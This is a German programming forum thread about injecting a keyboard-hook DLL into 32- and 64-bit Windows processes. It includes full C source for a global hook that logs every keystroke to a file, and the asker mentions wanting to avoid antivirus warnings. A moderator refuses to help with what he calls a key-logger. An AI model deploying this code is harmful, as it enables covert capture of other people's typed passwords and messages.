DLL 32/64Bit Handhabung



  • Schönen Abend miteinenander

    Ich habe ein Problem und zwar möchte ich eine DLL 32Bit compiliert von einer (?.exe 32Bit Compiliert) auf einem 64Bit System ausführen. Kann man dass ? oder brauche extra eine 64Bit DLL. Die DLL soll nämlich auch interaktionen mit den 64Bit Anwendungen haben dürfen. Oder muss ich auf einem 64Bit System zwei getrennte Prozesse starten die je eine 32 Bit und der andere Prozess eine 64Bit DLL läd.

    Das ganze sollte ein KeyboardHook über DLL injection sein, mit dem ich auf Hot-Keys reagiere. Habe nichts schlimmes vor, das Problem ist nur bei GetAsyncKeyState(), dass fast jedes AV Programm mekert. Und sowas kann ich echt nicht gebrauchen. Denn das Programm ist ist/soll ja eine vertrauenswürdigen Eindruck hinterlassen.

    Hoffe ihr könnt meine Fragen beantworten.!?

    Ps:Ich frage dass weil ich die Anwendung portabel auf Windows machen will. Zumindest XP/VISTA/WIN7 32/64Bit. Und die Anwendung ist so klein das ich keine installations Routine machen möchte.

    Grüsse


  • Mod

    Auf einer 64bit Maschine wird Dein 32bit Hook nur 32bit Programm erkennen und den injekt durchführen.
    Für die 64bit Prozesse benötigst Du eine zweie DLL...



  • Hallo

    Das habe ich schon gedacht. Da mein Explorer auf einem 64Bit System bei enem Tastenschlag abstürtz.
    Das Problem ist jetz nur wie ich meine 64Bit Anwendung bzw. die DLL dazu bringe, nur 32 oder 64Bit Anwendungen zu hooken. Wenn ich ja dan Paralle die 32Bit und 64Bit DLL jeweils von einem eigenständigen Prozess aufrufe.

    ???

    Da die 32Bit DLL scheinbar ja auch 64Bit Anwendungen hookt !

    Gruss



  • Hallo

    Da Problem ist ja das ich auf einem 64Bit System alle Anwendungen hooken möchte, 64Bit und 32Bit !


  • Mod

    Ich verstehe nichts von dem, was Du da schreibst. Zudem hooked eine 32bit Applikation niemals eine 64bit Anwendung.
    Wie wäre es wenn Du Dicvh einfach mal mit der Doku beschäftigen würdest?

    http://msdn.microsoft.com/en-us/library/ms644990(VS.85).aspx

    SetWindowsHookEx can be used to inject a DLL into another process. A 32-bit DLL cannot be injected into a 64-bit process, and a 64-bit DLL cannot be injected into a 32-bit process. If an application requires the use of hooks in other processes, it is required that a 32-bit application call SetWindowsHookEx to inject a 32-bit DLL into 32-bit processes, and a 64-bit application call SetWindowsHookEx to inject a 64-bit DLL into 64-bit processes. The 32-bit and 64-bit DLLs must have different names.



  • Hallo

    Bei mir hängt aber der Explorer sobald ich in einem Eingabefeld wie (start ausführen) etwas eingebe. Die DLL läuft unter Win64bit Vista in einer 32Bit Anwenduung. Und die DLL wurde auch für 32Bit Programe übersetzt.

    Wenn ich den Hook auf WinXP32Bit oder WinVista32Bit laufen lasse funktioniert der Hook einwandfrei.

    Ja die Doku habe ich gelesen danke.

    Grüsse



  • Hi

    Der hook funktioniert nur bei 64Bit OS, wen ich bei firefox etwas eingebe.
    Firefox läuft unter 32Bit App. Doch wenn ich eben zbsp. start ausführen ... dann etwas eingebe, stürtzt der System-Explorer ab.

    Ich weiss echt nicht mehr weiter ... der hook injeziere ich auch mit Admin Rechten,doch das funktioniert auch nicht.

    Wäre echt dankbar wenn mir jemand helfen könnte.

    Grüsse von der taste


  • Mod

    Dann schreib Deinen Hook richtig, oder Debugge und finde Deinen Bug.



  • hallo

    der hook hat aber keine fehler!
    unter win32xp und winvista32 funktioniert er einwandfrei.
    unter win64 auch bzw. die 32bit apps. sobald ich aber irgendwas im explorer oder in einer 64app dan stürtzt die app ab.!?

    gruss



  • werde heute nachmittag mal den code posten.
    villeicht ist ja wirklich ein fehler drin. was i h aber stark bezweifle.

    grüsse



  • So hier mal den Code. Habe zu Testzwecken die aufgezeichneten key's in eine datei gespeichert. Nach wie vor habe ich das Problem das die DLL unter XP32 und VISTA32 funktioniert. Unter VISTA64 funktioniert das so lange bis ich in einer 64Bit Anwendung bsp. System-Explorer eine Eingabe mache. Solange ich nur in einer 32Bit Anwendung unter 64Bit Os eine Eingabe mache funktioniert er einwandfrei.

    HEADER :

    #define EXPORT __declspec (dllexport)
    
    EXPORT BOOL CALLBACK installhook(void);
    
    EXPORT BOOL CALLBACK uninstallhook(void);
    

    DLL:

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    #pragma comment(linker, "/Section:.hook,RWS")
    
    #pragma bss_seg(".hook")
    HINSTANCE hinstanc;
    #pragma bss_seg()
    
    HHOOK hkb;
    FILE *log;
    
    int WINAPI DllMain(HINSTANCE hins ,DWORD fdwr ,PVOID rwd)
    {
    
        switch (fdwr){
            case DLL_PROCESS_ATTACH :
                // Die DLL wird in den Adressraum des aktuellen Prozesses
                // eingeblendet.
                hinstanc = hins ;
    
                break ;
        }
    
    	return 1;
    
    }
    
    LRESULT CALLBACK KeyboardProc(int nCode ,WPARAM wParam ,LPARAM lParam )
    {
    
        char ch;
        unsigned short w;
        unsigned int scan=0;
        char ks[256];
    
    	log = fopen("c:\\Users\\Public\\DATA\\kblog.txt","a+"); // In Windows XP und tiefer, natürlich ein anderer Pfad - hier nur zur Demonstration
            if(log == NULL) exit(1);
    
        if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) {        
            if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) {
                if (wParam==VK_RETURN) {
                    ch='\n';
                    fwrite(&ch,1,1,log);
                } else {
                    GetKeyboardState(ks);
                    ToAscii((UINT)wParam,scan,ks,&w,0);
                    ch = (char)w; 
                    fwrite(&ch,1,1,log);
                }
    
            }
    
        }
    	fclose(log);
    
        return CallNextHookEx( hkb, nCode, wParam, lParam );
    }
    
    // Install Keyboard hook Function.
    EXPORT BOOL CALLBACK installhook()
    {
    	BOOL rc=0;
    
        hkb = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hinstanc,0);
    	if(hkb==NULL){
    		rc = 1;
    	} else {
    		rc = 0;
    	}
    
        return rc;
    }
    
    // Uninstall Keyboard hook Function.
    EXPORT BOOL CALLBACK uninstallhook()
    {
    
    	return UnhookWindowsHookEx(hkb);
    }
    

    TEST MAIN:

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    int main()
    {
    
    	/* Install Keyboard Hook */
    	if( installhook() ) {
               return 0;
            }
    
    	getchar();
    
            // Uninstall
    
    	return 0;
    }
    

    gruss



  • Das Directory DATA ist schon richtig. Den es wurde von mir erstellt.

    gruss



  • @martin richter

    und was meinenst du dazu?
    muss dazu sagen, dass unter vista64 bit, die eingabe unter 64bit programmen hängt, wen ich den hook dan rasch beende werden die zeichen aber doch noch ausgegeben. wen ich aber versuche, wärend er hängt, die 64bit anwendung zu beenden, dan stürtzt es ab.

    ???


  • Mod

    Grundsätzlich:
    1. Ich mag keine Hooks und ich helfe i.A. in diesem Forum nicht in den Details. Schon gar nicht mag ich solche Key-Logger.
    2. Soclh einen Blödsinn, bei einem Fehler von fopen in den Tiefen des Hooks exit auszuführen habe ich selten gesehen.
    3. Hast Du schon mal daran gedacht zu debuggen?
    4. Hast Du schon mal daran gedacht evtl. mal nur einen anderen Prozess zu hooken und nciht alle um das zu testen und Dir das Debuggen leichter zu machen?

    Aufgrund von 1. ist für mich hier EOD



  • hatte ja geschrieben das dies nur aus testzwecken, mit fopen gemacht wurde, da ich später auf hotkeys reagieren mœchte.
    aber scheinbar ist hier deinre kompetenz zu ende.. schade.

    komisch ist einfach nur das der hook auf 32bit os's läuft nur auf 64bit os bei 64bit programmen nicht.

    taste



  • Hi

    Ich kann dir helfen..
    Deine Email?

    Zum anderen, wider mal typisch.. wens ins detail geht, scheint jeder alles zu wissen, doch eine Kompetente Antwort gibts selten.

    lowbyte



  • lowbyte_ schrieb:

    Zum anderen, wider mal typisch.. wens ins detail geht, scheint jeder alles zu wissen, doch eine Kompetente Antwort gibts selten.

    lowbyte

    Das sagt genau der richtige.... 👎

    Eine kompetente Antwort von Dir auf meine Frage nach LoadImage() bzw. LoadBitmap() steht bis heute immer noch aus.
    Sehr nebulöses Gebaren, lieber Herr lowbyte_ (oder doch ne Frau lowbyte_ ?)
    Schau mal da, angeblich alles wissend, aber nix sagend:
    http://www.c-plusplus.net/forum/viewtopic-var-t-is-273780-and-start-is-0-and-postdays-is-0-and-postorder-is-asc-and-highlight-is--and-printview-is-1-and-start-is-0.html

    Nix für ungut, aber registrier Dich mal wenigstens als anständiger User hier im Forum... 🙄
    Martin



  • hi

    sorry tut mir leid. werde dir heute nachmittag schreiben. habe das vetgessen, da ich hier im forum nicht reg. bin. deswegen musst du mich nicht gleich anfahren. werde mich heute reg.

    lowbyte



  • danke dir lowbyte.
    hier meine e-mail.
    comprog@gmx.de

    gruss



  • Hallo

    So bin nun endlich registriert.

    at: Mmacher

    Sowas kannst du wirklich nicht vergleichen ! Beim anderen Thread sprechen wir von Sicherheitslücken. Doch wenn du gerne mehr darüber erfahren möchtest, schreib mir eine E-Mail in der du dein jabber oder weis ich was ID/ADDR angibst. Dann können wir real-time darüber sprechen. Wäre mir lieber und würde mir Zeit ersparen, wenn ich den bis ins Detail gehen soll. Wen du das möchtest !?

    lowbyte


Log in to reply